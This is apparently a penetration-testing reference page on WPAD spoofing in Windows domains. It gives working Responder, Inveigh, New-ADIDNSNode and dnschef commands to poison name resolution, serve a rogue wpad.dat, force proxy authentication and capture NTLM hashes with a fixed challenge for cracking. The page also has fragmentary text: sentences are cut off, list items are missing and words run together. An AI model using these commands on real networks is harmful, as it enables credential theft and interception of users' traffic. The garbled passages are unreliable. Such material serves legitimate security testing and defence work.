A proxy can be used to handle clients requests (for example to access the Internet). In a network in which the topology changes frequently, adaptive configurations are needed. A type of proxies called "Adaptive proxies" uses a configuration script.
The Web Proxy Automatic Discovery (WPAD) protocol helps clients in finding a proxy configuration script (
wpad.dat). This script gives a set of proxies that can be used, and can be located with an hostname or an URL. Various mechanisms can be used to find its location (by order of resolution):
- 4.Internet Explorer's LAN settings, or configuration file
WPAD spoofing can be combined with
On old Windows systems (i.e. lacking the MS16-077 security update), the WPAD location could be obtained through insecure name resolution protocols like LLMNR and NBT-NS when standard DNS queries were failing (i.e. no DNS record for WPAD). This allowed attackers to operate LLMNR and NBT-NS spoofing to answer those WPAD queries and redirect to a fake
wpad.datfile, hence poisoning the web proxy configuration of the requesting clients, hence obtaining more traffic.
-w/--wpadoption will make Responder start the WPAD rogue server so that fake
wpad.datfile can be served to requesting clients.
-P/--ProxyAuthoption to force the Windows client to authenticate after the
wpad.datis accessed and when the client starts using the proxy
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP
The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes (even from machine accounts) and set the Challenge to
1122334455667788(to crack NTLM hashes with crack.sh).
- Inveigh starts a WPAD rogue proxy server by default.
- Options like
-WPADResponse(and others) can be used to tweak the WPAD abuse.
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing if the WPAD record does not exist. There is however a DNS block list mitigation called GQBL (Global Query Block List) preventing names like WPAD and ISATAP (default entries) to be resolved. This block list exists to reduce vulnerabilities associated with dynamic DNS updates but it can be edited when implementing WPAD.
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'
On machines that are patched against that CVE, registering a name server (NS) record could still work.
New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing, even if the WPAD record does exist. With DNS poisoning through DHCPv6 spoofing, an attacker can reply to DHCPv6 requests, and then reply to DNS queries.